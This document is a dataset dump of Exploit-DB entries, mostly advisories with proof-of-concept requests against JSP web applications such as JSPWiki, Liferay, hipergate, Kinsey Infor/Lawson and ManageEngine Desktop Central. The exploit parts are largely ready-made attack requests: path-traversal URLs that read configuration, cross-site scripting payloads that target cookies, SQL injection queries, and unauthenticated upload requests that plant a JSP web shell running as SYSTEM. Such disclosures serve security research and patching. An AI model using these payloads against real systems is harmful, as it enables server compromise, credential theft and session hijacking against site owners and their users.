deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5112
Description: jspwiki 2.4.104/2.5.139 - Multiple Vulnerabilities
Type: webapps
Platform: jsp
Date: 2008-02-13
Author: BugSec LTD

Exploit:
JSPWiki Multiple Vulnerabilities


Vendor:
Janne Jalkanen JSPWiki â€“ http://www.jspwiki.org

Application Description:
From JSPWiki website - â€œJSPWiki is a feature-rich and extensible WikiWiki engine built around a standart J2EE components (Java, servlets, JSP).â€

Tested versions:
JSPWiki v2.4.104
JSPWiki v2.5.139
Earlier versions may also be affected.

JSPWiki Local .jsp File Inclusion Vulnerability.
An input validation problem exists within JSPWiki which allows to execute (include) arbitrary local .jsp files. An attacker may leverage this issue to execute arbitrary server-side script code on a vulnerable server with the privileges of the web server process.

Example (including rss.jsp file from the application root directory):
http://server/JSPWikiPath/Edit.jsp?page=Main&editor=../../../rss

Note: page parameter must be an existing page on the server.

This grants an attacker unauthorized access to sensitive .jsp files on the server and can lead to information disclosure.

Examples:
http://server/JSPWikiPath/Edit.jsp?page=User&editor=../../../Install
http://server/JSPWikiPath/Edit.jsp?page=User&editor=../../../admin/SecurityConfig

The first example disclose sensitive information such as the full path of the application on the server, page (and attachments) storage path, log files and work directory by including the application installation (Install.jsp).
The second example disclose the application security configurations by including the JSPWiki Security Configuration Verifier file (admin/SecurityConfig.jsp).

In addition, JSPWiki allow users to upload (attach) files to entry pages. An attacker can use the information disclosed by the installation file to upload a malicious .jsp file and locally execute it.
By executing malicious server-side code, an attacker may be able to compromise the server.


JSPWiki Cross-Site Scripting Vulnerability.
An attacker may leverage cross-site scripting vulnerability to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Example:
http://server/JSPWikiPath/Edit.jsp?page=Main&editor=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Original Document:
http://www.bugsec.com/articles.php?Security=48&Web-Application-Firewall=0

Download PDF:
http://www.bugsec.com/up_files/JSPWiki_Multiple_Vulnerabilities.pdf

Credit:
Moshe BA
BugSec LTD. - Security Consulting Company
Tel: +972-3-9622655
Fax: +972-3-9511433
Email: Info -at- BugSec -d0t- com
http://www.bugsec.com 

# milw0rm.com [2008-02-13]
Exploit-DB #30610
Description: JSPWiki 2.5.139 - 'Comment.jsp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2007-09-25
Author: Jason Kratzer

Exploit:
source: https://www.securityfocus.com/bid/25803/info
  
JSPWiki is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and an HTML-injection issue, because the application fails to adequately sanitize user-supplied input.
  
Attacker-supplied HTML and script code will run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
  
Versions prior to JSPWiki 2.5.138-beta are vulnerable. 

http://www.example.com/wiki/Comment.jsp?page=Main&action=save&edittime=[PII_REDACTED]37&addr=127.0.0.1&_editedtext=[XSS]&author=AnonymousCoward&link=&ok=Save
Exploit-DB #30613
Description: JSPWiki 2.5.139 - 'Diff.jsp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2007-09-25
Author: Jason Kratzer

Exploit:
source: https://www.securityfocus.com/bid/25803/info
     
JSPWiki is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and an HTML-injection issue, because the application fails to adequately sanitize user-supplied input.
     
Attacker-supplied HTML and script code will run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
     
Versions prior to JSPWiki 2.5.138-beta are vulnerable. 

http://www.example.com/wiki/Diff.jsp?page=Administrator&r1=[XSS]&r2=[XSS]
Exploit-DB #30609
Description: JSPWiki 2.5.139 - 'edit.jsp?edittime' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2007-09-25
Author: Jason Kratzer

Exploit:
source: https://www.securityfocus.com/bid/25803/info
 
JSPWiki is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and an HTML-injection issue, because the application fails to adequately sanitize user-supplied input.
 
Attacker-supplied HTML and script code will run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
 
Versions prior to JSPWiki 2.5.138-beta are vulnerable. 

http://www.example.com/wiki/Edit.jsp?page=Main&action=save&edittime=[PII_REDACTED]38&addr=127.0.0.1&_editedtext=[XSS]&changenote=[XSS]&ok=Save
Exploit-DB #30612
Description: JSPWiki 2.5.139 - 'Login.jsp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2007-09-25
Author: Jason Kratzer

Exploit:
source: https://www.securityfocus.com/bid/25803/info
    
JSPWiki is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and an HTML-injection issue, because the application fails to adequately sanitize user-supplied input.
    
Attacker-supplied HTML and script code will run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
    
Versions prior to JSPWiki 2.5.138-beta are vulnerable. 

http://www.example.com/wiki/Login.jsp?tab=profile&loginname=[XSS]&[CREDENTIAL_REDACTED]=Test&wikiname=[XSS]&fullname=[XSS]&email=[XSS]&ok=Save+profile&action=saveProfile
Exploit-DB #30608
Description: JSPWiki 2.5.139 - 'NewGroup.jsp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2007-09-25
Author: Jason Kratzer

Exploit:
source: https://www.securityfocus.com/bid/25803/info

JSPWiki is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and an HTML-injection issue, because the application fails to adequately sanitize user-supplied input.

Attacker-supplied HTML and script code will run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Versions prior to JSPWiki 2.5.138-beta are vulnerable. 

http://www.example.com/wiki/NewGroup.jsp?group=[XSS]
Exploit-DB #30611
Description: JSPWiki 2.5.139 - 'UserPreferences.jsp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2007-09-25
Author: Jason Kratzer

Exploit:
source: https://www.securityfocus.com/bid/25803/info
   
JSPWiki is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and an HTML-injection issue, because the application fails to adequately sanitize user-supplied input.
   
Attacker-supplied HTML and script code will run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
   
Versions prior to JSPWiki 2.5.138-beta are vulnerable. 

http://www.example.com/wiki/UserPreferences.jsp?tab=profile&loginname=[XSS]&[CREDENTIAL_REDACTED]=test&wikiname=[XSS]&fullname=[XSS]&email=[XSS]&ok=Save+profile&action=saveProfile
Exploit-DB #41577
Description: Kinsey Infor/Lawson / ESBUS - SQL Injection
Type: webapps
Platform: jsp
Date: 2017-03-10
Author: Michael Benich

Exploit:
##################################################################
# Exploit Title: Kinsey Infor / Lawson (ESBUS) - Multiple SQL Injections 
##################################################################
# Date: 3/10/2017
##################################################################
# Exploit Author: Michael Benich
##################################################################
# Vendor homepage: http://www.kinsey.com/infor-lawson.html
##################################################################
# Version: ALL
##################################################################
# Tested on: Windows Server 2008 R2; MySQL ver 5.5
##################################################################
# CVE: CVE-2017-6550
##################################################################

Kinsey's Infor-Lawson application (formerly ESBUS) is vulnerable to SQL injection in at least two parameters:

1) TABLE parameter, PoC below

GET /esbus/servlet/GetSQLData?SCHEMA=ESBUS_INTERNAL&TABLE=SCHEDULEDTASKS UNION ALL SELECT <<ATTACKER INPUT>>&FIELD=LASTRUN&NOHEADER=1&SELECT=CLASS=com.esbus.appliance.SOD_PolicyCheck_SystemRun_TimerTask&OUT=XML HTTP/1.1

2) Query POST parameter

POST /KK_LS9ReportingPortal/GetData?SERVERID=%27;LSF_PROD& HTTP/1.1

<--snip--http headers-->

QUERY=1 AND SLEEP(5) AND ('foo'='foo')) &OUT=TAB

A JSP webshell can then be written to the /esbus/ directory.
##################################################################
Timeline: 

12/1/2016 - Contacted generic security emails
12/1/2016 - Received response from vendor ("Thanks for the info...")
2/27/2017 - Followed up with contact and intent to disclose. No reply.
3/10/2017 - Disclosure
##################################################################
Exploit-DB #33596
Description: KnowGate hipergate 4.0.12 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2010-02-04
Author: Nahuel Grisolia

Exploit:
source: https://www.securityfocus.com/bid/38094/info

KnowGate hipergate is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

KnowGate hipergate 4.0.12 is vulnerable; other versions may also be affected. 

http://www.example.com:8080/hipergate/common/errmsg.jsp?title=%3Cscript%3Ealert%28%22titleXSS%22%29;
%3C/script%3E&desc=%3Cscript%3Ealert%28%22descXSS%22%29;%3C/script%3E&resume=_back
Exploit-DB #30705
Description: Korean GHBoard - 'Component/upload.jsp' Arbitrary File Upload
Type: webapps
Platform: jsp
Date: 2007-10-23
Author: Xcross87

Exploit:
source: https://www.securityfocus.com/bid/26182/info
 
GHBoard is prone to multiple vulnerabilities that let attackers upload and download arbitrary files and execute arbitrary code within the context of the webserver process.
 
http://www.example.com/ghboard/component/flashupload/data/upload_filename.xxx
Exploit-DB #30704
Description: Korean GHBoard FlashUpload Component - 'download.jsp?name' Arbitrary File Access
Type: webapps
Platform: jsp
Date: 2007-10-23
Author: Xcross87

Exploit:
source: https://www.securityfocus.com/bid/26182/info

GHBoard is prone to multiple vulnerabilities that let attackers upload and download arbitrary files and execute arbitrary code within the context of the webserver process. 

http://www.example.com/ghboard/component/flashupload/download.jsp?name=[file_name]

http://www.example.com/ghboard/component/flashupload/download.jsp?name=../config.js
Exploit-DB #39880
Description: Liferay CE < 6.2 CE GA6 - Persistent Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2016-06-02
Author: Fernando Câmara

Exploit:
CVE-2016-3670 Stored Cross Site Scripting in Liferay CE

1. Vulnerability Properties

Title: Stored Cross-Site Scripting Liferay CE
CVE ID: CVE-2016-3670
CVSSv3 Base Score: 4.6 (AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N)
Vendor: Liferay Inc
Products: Liferay
Advisory Release Date: 27 May 2016
Advisory URL: https://labs.integrity.pt/advisories/cve-2016-3670
Credits: Discovery by Fernando Câmara <fbc[at]integrity.pt>

2. Vulnerability Summary

Liferay is vulnerable to a stored XSS when an user is created with an
malicious payload on the FirstName field.
The javascript payload is executed when another user tries to use the
profile search section.
3. Technical Details

An XSS vulnerability was found on the Profile Search functionality,
accessible through User -> My Profile -> Search.  An attacker can set a
malicious javascript payload on his  First Name affecting anyone who
performs a search using a keyword present on his profile.

The exploitation of this vulnerability could lead to an effective way to
grab cookies (stealing sessions) from anyone that uses that search
component.

Exploitation Request: (User Registration with an malicious FirstName field)

POST /liferay/web/guest/home?p_p_id=58&p_p_lifecycle=1&p_p_state=
maximized&p_p_mode=view&_58_struts_action=%2Flogin%2Fcreate_account

Data:

_58_firstName=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C%2

The vulnerability is located on the users.jsp and as shown below the origin
is the lack of validation of user input:

line 64: <a data-value=”<%= curUserName %>” href=”javascript:;”>

4. Vulnerable Versions

< 6.2 CE GA6

5. Solution

Update to version 7.0.0 CE RC1

6. Vulnerability Timeline

    21/Jan/16 - Bug reported to Liferay
    22/Mar/16 – Bug verified by vendor
    22/Mar/16 – Bug fixed by vendor
    27/May/16 – Advisory released


7. References

    https://issues.liferay.com/browse/LPS-62387
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3670
Exploit-DB #24139
Description: Liferay Enterprise Portal 1.x/2.x/5.0.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2004-05-22
Author: Sandeep Giri

Exploit:
source: https://www.securityfocus.com/bid/10402/info

It has been reported that Liferay Enterprise Portal is susceptible to multiple cross-site scripting and HTML injection vulnerabilities. User-supplied data from many input fields is included in server generated content without appropriate validation/encoding. This may allow for typical cross-site scripting attacks against other users of the portal. 


Test:
Add a message with subject <script>history.go(-1)</script>
Now, no user can see message board.
Exploit-DB #46983
Description: Liferay Portal 7.1 CE GA=3 / SimpleCaptcha API - Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2019-06-11
Author: Valerio Brussani

Exploit:
# Exploit Title: Liferay Portal < 7.1 CE GA4 / SimpleCaptcha API XSS
# Date: 04/06/2019
# Exploit Author: Valerio Brussani (@val_brux)
# Website: www.valbrux.it
# Vendor Homepage: https://www.liferay.com/
# Software Link: https://www.liferay.com/it/downloads-community
# Version: < 7.1 CE GA4
# Tested on: Liferay Portal 7.1 CE GA3
# CVE: CVE-2019-6588
# Reference1: https://dev.liferay.com/web/community-security-team/known-vulnerabilities/liferay-portal-71/-/asset_publisher/7v4O7y85hZMo/content/cst-7130-multiple-xss-vulnerabilities-in-7-1-ce-ga3
# Reference2: https://www.valbrux.it/blog/2019/06/04/cve-2019-6588-liferay-portal-7-1-ce-ga4-simplecaptcha-api-xss/


Introduction
In Liferay Portal before 7.1 CE GA4, an XSS vulnerability exists in the SimpleCaptcha API when custom code passes unsanitized input 
into the “url” parameter of the JSP taglib call <liferay-ui:captcha url=”<%= url %>” /> or <liferay-captcha:captcha url=”<%= url %>” />. 
A customized Liferay portlet which directly calls the Simple Captcha API without sanitizing the input could be susceptible to this vulnerability.
 
Poc
In a sample scenario of custom code calling the <liferay-ui:captcha url=”<%= url %>” /> JSP taglib, appending a payload like the following to the body parameters of a customized form:
 
&xxxx%22%3e%3cscript%3ealert(1)</script> 
 
The script is reflected in the src attribute of the <img> tag, responsible of fetching the next available captcha:
 
<img alt=”xxx” class=”xxxx” src=”xxxxxx“><script>alert(1)</script>=” />
Exploit-DB #23402
Description: Macromedia JRun 4.0 build 61650 - Administrative Interface Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2003-11-26
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/9112/info

A number of cross-site scripting vulnerabilities have been reported for Macromedia Jrun, specifically in the administrative interface. The problem is said to occur due to insufficient sanitization of URI parameters that may be passed to the page by an unauthenticated user.

Successful exploitation of this issue could potentially allow an attacker to steal an administrators authentication credentials, likely leading to further malicious actions taking places. 

http://www.example.com:8000/server/<your server>/webserver/webserverlist.jsp?action=start&externalWebServer=DefaultDomain%3aservice%3d<script code>

http://www.example.com:8000/clusterframe.jsp?cluster=<script code>
Exploit-DB #21621
Description: Macromedia Sitespring 1.2 - Default Error Page Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2002-07-17
Author: Peter GrÃ¼ndl

Exploit:
source: https://www.securityfocus.com/bid/5249/info

Macromedia Sitespring is a J2EE-compliant product for managing website production. The Macromedia Sitespring server runs on Microsoft Windows operating systems.

A cross-site scripting issue has been reported in the default error page used by Sitespring. When an HTTP 500 error is returned, some user-supplied data is included in the generated HTML. Since this data isn't properly sanitized, an attacker may be able to include arbitrary HTML, including JavaScript. 

http://server/error/500error.jsp?et=1<script>alert('KPMG')</script>
Exploit-DB #34518
Description: ManageEngine Desktop Central - Arbitrary File Upload / Remote Code Execution
Type: webapps
Platform: jsp
Date: 2014-09-01
Author: Pedro Ribeiro

Exploit:
Arbitrary file upload / remote code execution in ManageEngine Desktop Central / Desktop Central MSP
Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
=================================================================================

Background on the affected product:
"Desktop Central is an integrated desktop & mobile device management
software that helps in managing the servers, laptops, desktops,
smartphones and tablets from a central point. It automates your
regular desktop management routines like installing patches,
distributing software, managing your IT Assets, managing software
licenses, monitoring software usage statistics, managing USB device
usage, taking control of remote desktops, and more."

There are several vulnerable servers are out there if you know the
Google dorks. Quoting the author of the Internet Census 2012: "As a
rule of thumb, if you believe that "nobody would connect that to the
Internet, really nobody", there are at least 1000 people who did."
These vulnerabilities can be abused to achieve remote code execution
as SYSTEM in Windows. I've updated the desktopcentral_file_upload
Metasploit module to use the new statusUpdate technique. Needless to
say, owning a Desktop Central box will give you control of all the
computers and smartphones it manages.

Technical details:
#1
Vulnerability: Remote code execution as SYSTEM via file upload (unauthenticated)
Constraints: none; no authentication or any other information needed

a)
CVE-2014-5005
Affected versions: all versions from v7 to v9 build 90054
Fix: Upgrade to DC v9 build 90055
POST /statusUpdate?actionToCall=LFU&customerId=1337&fileName=../../../../../../shell.jsp&configDataID=1
<... your favourite jsp shell here ...>

b)
CVE-2014-5006
Affected versions: all versions from v8 to v9 build 90054
Fix: Upgrade to DC v9 build 90055
POST /mdm/mdmLogUploader?filename=..\\..\\..\webapps\\DesktopCentral\\shell.jsp
<... your favourite jsp shell here ...>


#2
CVE-2014-5007
Vulnerability: Remote code execution as SYSTEM via file upload (unauthenticated)
Constraints: no authentication needed; need to know valid
computerName, domainName and customerId
Affected versions: all versions from v7 to v9 build 90054
Fix: Upgrade to DC v9 build 90055
Notes: This was previously discovered as CVE-2013-7390 / OSVDB-10008
by Thomas Hibbert, and was "fixed" in 2013-11-09. The fix is
incomplete and it is still possible to upload a shell with a valid
computerName, domainName and customerId.

POST /agentLogUploader?computerName=whatever1&domainName=whatever2&customerId=1337&filename=..\\..\\..\\..\\webapps\\DesktopCentral\\shell.jsp
<... your favourite jsp shell here ...>